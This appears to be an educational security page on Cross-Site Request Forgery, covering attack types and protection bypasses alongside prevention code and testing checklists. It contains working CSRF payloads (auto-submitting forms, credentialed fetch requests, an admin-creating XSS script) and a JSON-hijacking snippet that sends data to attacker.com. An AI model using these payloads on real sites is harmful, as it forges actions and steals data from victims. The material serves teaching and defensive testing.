Back to Attack Flows

Table of Contents

What is Cross-Site Request Forgery (CSRF)?

Cross-Site Request Forgery (CSRF) is an attack that forces an authenticated user to execute unwanted actions on a web application. It exploits the trust that a web application has in the user's browser by tricking the victim into submitting a malicious request while authenticated.

Why is CSRF Dangerous?

CSRF attacks are particularly dangerous because:

Attack Capabilities

Successful CSRF attacks allow attackers to:

How CSRF Attacks Work

Basic Attack Flow

  1. Victim Authenticates: User logs into a vulnerable web application
  2. Session Established: Browser stores session cookie
  3. Attacker Crafts Malicious Request: Creates a request that performs an action
  4. Victim Visits Malicious Site: User browses attacker-controlled page
  5. Automatic Request Sent: Browser automatically includes session cookie
  6. Action Executed: Application processes request as legitimate

Simple CSRF Example

<!-- Vulnerable application endpoint -->
http://bank.com/transfer?to=attacker&amount=1000

<!-- Attacker's malicious page -->
<html>
<body>
    <h1>You won a prize!</h1>
    <img src="http://bank.com/transfer?to=attacker&amount=1000" style="display:none">
</body>
</html>

POST Request CSRF

<!-- Auto-submitting form -->
<html>
<body onload="document.forms[0].submit()">
    <form action="http://bank.com/transfer" method="POST">
        <input type="hidden" name="to" value="attacker"/>
        <input type="hidden" name="amount" value="1000"/>
    </form>
</body>
</html>

Why It Works

CSRF exploits the fact that:

Types of CSRF Attacks

1. GET-Based CSRF

Exploits applications that perform state-changing operations via GET requests.

<!-- Image tag attack -->
<img src="http://vulnerable.com/delete_account?confirm=yes">

<!-- iframe attack -->
<iframe src="http://vulnerable.com/change_email?email=attacker@evil.com"></iframe>

<!-- Link attack -->
<a href="http://vulnerable.com/transfer?to=attacker&amount=999">Click for prize!</a>

2. POST-Based CSRF

More common and typically more serious, as POST is used for sensitive operations.

<html>
<body>
<form id="csrf-form" action="https://vulnerable.com/api/transfer" method="POST">
    <input type="hidden" name="recipient" value="attacker"/>
    <input type="hidden" name="amount" value="5000"/>
</form>
<script>
    document.getElementById('csrf-form').submit();
</script>
</body>
</html>

3. JSON/AJAX CSRF

Targets applications using JSON APIs without proper CSRF protection.

<script>
fetch('https://vulnerable.com/api/update_profile', {
    method: 'POST',
    credentials: 'include',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({
        email: 'attacker@evil.com',
        role: 'admin'
    })
});
</script>

4. File Upload CSRF

Tricks users into uploading malicious files.

<form action="https://vulnerable.com/upload" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="file" value="malicious_content"/>
    <input type="hidden" name="filename" value="backdoor.php"/>
</form>

5. Same-Site CSRF

Exploits vulnerabilities within the same site, such as through stored XSS or subdomain takeovers.

Advanced CSRF Techniques

1. Time-Based CSRF

<!-- Delay attack until user is likely authenticated -->
<script>
setTimeout(() => {
    document.getElementById('csrf-form').submit();
}, 30000); // Wait 30 seconds
</script>

2. CSRF with XSS

// Stored XSS payload that performs CSRF
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '/admin/create_user', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.withCredentials = true;
xhr.send('username=hacker&password=pass123&role=admin');
</script>

3. Multi-Step CSRF

// Step 1: Get current CSRF token
fetch('/get_token')
    .then(r => r.json())
    .then(data => {
        // Step 2: Use token in attack
        fetch('/admin/promote', {
            method: 'POST',
            headers: {'X-CSRF-Token': data.token},
            body: 'user=attacker'
        });
    });

4. Login CSRF

Force victim to log into attacker's account.

<form action="https://vulnerable.com/login" method="POST">
    <input type="hidden" name="username" value="attacker_account"/>
    <input type="hidden" name="password" value="attacker_password"/>
</form>
<script>document.forms[0].submit();</script>

5. CSRF Token Fixation

<!-- Force user to use attacker-controlled token -->
<iframe src="https://vulnerable.com/get_csrf_token"></iframe>
<script>
// Extract and reuse the token
</script>

6. Clickjacking + CSRF

<!-- Overlay transparent iframe over fake button -->
<style>
iframe { opacity: 0.0001; position: absolute; top: 0; left: 0; }
</style>
<button>Click for free prize!</button>
<iframe src="https://vulnerable.com/delete_account"></iframe>

CSRF Protection Bypass Methods

1. Token Bypass Techniques

Missing Token Validation

<!-- Simply omit the CSRF token -->
<form action="/transfer" method="POST">
    <input type="hidden" name="amount" value="1000"/>
    <!-- No csrf_token field -->
</form>

Empty Token

<form action="/transfer" method="POST">
    <input type="hidden" name="csrf_token" value=""/>
    <input type="hidden" name="amount" value="1000"/>
</form>

Method Override

<!-- Change POST to GET to bypass token check -->
<img src="/transfer?csrf_token=&amount=1000">

<!-- Or use _method parameter -->
<form action="/transfer?_method=POST" method="GET">
    <input name="amount" value="1000"/>
</form>

2. SameSite Cookie Bypass

// If SameSite=Lax, top-level navigation works
window.location = 'https://vulnerable.com/transfer?to=attacker&amount=1000';

// Or use 302 redirect
<meta http-equiv="refresh" content="0;url=https://vulnerable.com/action">

3. Subdomain Takeover

If an abandoned subdomain can be taken over, CSRF protection may not apply.

<!-- From attacker-controlled subdomain.example.com -->
<form action="https://example.com/transfer" method="POST">
    <!-- May bypass SameSite and Referer checks -->
</form>

4. Regex Bypass

<!-- If referer check uses weak regex -->
<!-- Expecting: https://vulnerable.com/* -->
<!-- Bypass with: https://vulnerable.com.attacker.com -->

5. JSON Hijacking

<script>
Object.prototype.__defineSetter__('data', function(val) {
    // Steal JSON response
    fetch('https://attacker.com/steal?data=' + JSON.stringify(val));
});
</script>
<script src="https://vulnerable.com/api/sensitive_data"></script>

Prevention & Mitigation

1. CSRF Tokens (Synchronizer Token Pattern)

// PHP Example
session_start();
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// In form
?>
<form method="POST" action="/transfer">
    <input type="hidden" name="csrf_token" 
           value="<?php echo $_SESSION['csrf_token']; ?>">
    <!-- Other fields -->
</form>

<?php
// Validation
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        die('CSRF token validation failed');
    }
    // Process request
}

2. SameSite Cookie Attribute

// Set SameSite attribute on session cookies
setcookie('session_id', $session_id, [
    'samesite' => 'Strict',  // or 'Lax'
    'secure' => true,
    'httponly' => true
]);

3. Double Submit Cookie Pattern

// JavaScript
const csrfToken = generateRandomToken();
document.cookie = `csrf_token=${csrfToken}; SameSite=Strict`;

fetch('/api/action', {
    method: 'POST',
    headers: {
        'X-CSRF-Token': csrfToken
    },
    body: formData
});

4. Custom Request Headers

// Frontend
fetch('/api/action', {
    method: 'POST',
    headers: {
        'X-Requested-With': 'XMLHttpRequest',
        'X-Custom-Header': 'application-specific-value'
    }
});

// Backend - validate custom header exists
if (!request.headers['X-Requested-With']) {
    return 403;
}

5. Referer/Origin Header Validation

# Python/Flask example
from urllib.parse import urlparse

@app.before_request
def check_referer():
    if request.method in ['POST', 'PUT', 'DELETE']:
        referer = request.headers.get('Referer')
        origin = request.headers.get('Origin')
        
        allowed_origins = ['https://example.com']
        
        if referer:
            referer_origin = urlparse(referer).netloc
            if referer_origin not in allowed_origins:
                abort(403)
        elif origin:
            if origin not in allowed_origins:
                abort(403)
        else:
            abort(403)

6. User Interaction Requirement

// Require CAPTCHA or re-authentication for sensitive actions
if (isSensitiveAction && !verifyCaptcha()) {
    return error('Please complete CAPTCHA');
}

// Or require password re-entry
if (isHighRiskAction && !verifyPassword()) {
    return error('Please re-enter your password');
}

Prevention Checklist

Detection & Testing

Manual Testing Steps

  1. Identify State-Changing Requests: Find all actions that modify data
  2. Capture Valid Request: Use browser dev tools or proxy
  3. Create Test HTML: Build a form/script that replicates the request
  4. Remove CSRF Protection: Omit tokens or headers
  5. Test from Different Origin: Host on different domain and test
  6. Verify Execution: Check if action was performed

Testing Checklist

<!-- Test 1: No CSRF token -->
<form action="https://target.com/action" method="POST">
    <input name="field" value="test"/>
</form>

<!-- Test 2: Empty CSRF token -->
<form action="https://target.com/action" method="POST">
    <input name="csrf_token" value=""/>
    <input name="field" value="test"/>
</form>

<!-- Test 3: Invalid CSRF token -->
<form action="https://target.com/action" method="POST">
    <input name="csrf_token" value="invalid123"/>
    <input name="field" value="test"/>
</form>

<!-- Test 4: Change method -->
<img src="https://target.com/action?field=test">

<!-- Test 5: Swap token values -->
<form action="https://target.com/action" method="POST">
    <input name="csrf_token" value="another_users_token"/>
    <input name="field" value="test"/>
</form>

Automated Testing Tools

Burp Suite CSRF PoC Generator

  1. Intercept the target request
  2. Right-click → Engagement Tools → Generate CSRF PoC
  3. Customize the generated HTML
  4. Test in browser from different origin

Real-World Examples

Notable CSRF Vulnerabilities

1. ING Direct (2008)

CSRF vulnerability allowed attackers to transfer money from victim accounts by tricking them into visiting a malicious webpage.

2. YouTube (2008)

CSRF flaw enabled attackers to perform nearly any action on behalf of authenticated users, including adding videos to playlists and subscribing to channels.

3. Netflix (2006)

CSRF vulnerability allowed attackers to add DVDs to victim's rental queue and change account settings.

4. Gmail (2007)

CSRF vulnerability in Gmail's chat feature could have been exploited to send messages and add contacts.

5. Twitter (2009)

The "Don't Click" worm exploited CSRF to automatically post tweets and follow the attacker's account.

6. Router Vulnerabilities

Many home routers suffered from CSRF vulnerabilities allowing attackers to change DNS settings, Wi-Fi passwords, and administrative credentials through malicious websites.

Impact Examples

Quick Reference

CSRF Attack Vectors

<!-- Image tag (GET) -->
<img src="http://target.com/action?param=value">

<!-- Auto-submit form (POST) -->
<body onload="document.forms[0].submit()">
<form action="http://target.com/action" method="POST">
    <input type="hidden" name="param" value="value"/>
</form>

<!-- Fetch API -->
<script>
fetch('http://target.com/api/action', {
    method: 'POST',
    credentials: 'include',
    body: JSON.stringify({param: 'value'})
});
</script>

<!-- XMLHttpRequest -->
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'http://target.com/action');
xhr.withCredentials = true;
xhr.send('param=value');
</script>

Testing Quick Commands

# Using curl to test CSRF
curl -X POST https://target.com/action \
  -H "Cookie: session=victim_session" \
  -d "param=value"

# Without CSRF token should fail if protected
curl -X POST https://target.com/action \
  -H "Cookie: session=victim_session" \
  -d "param=value" \
  -d "csrf_token="

Framework-Specific Protection

# Django - CSRF middleware enabled by default
# Template
{% csrf_token %}

# Flask with Flask-WTF
from flask_wtf.csrf import CSRFProtect
csrf = CSRFProtect(app)

# Express.js with csurf
const csurf = require('csurf');
app.use(csurf({ cookie: true }));

# Laravel - CSRF protection automatic
<form method="POST">
    @csrf
</form>

Testing Checklist Summary

  1. Remove CSRF token completely
  2. Use empty/invalid token
  3. Change request method (POST to GET)
  4. Test with another user's token
  5. Test from different origin
  6. Test with different Content-Type
  7. Test without custom headers
  8. Test SameSite cookie bypass

Prevention Checklist Summary

  1. Implement CSRF tokens
  2. Use SameSite cookies
  3. Validate Referer/Origin
  4. Require custom headers
  5. No state changes via GET
  6. Re-authentication for critical actions
  7. Proper CORS configuration
  8. Regular security testing

Resources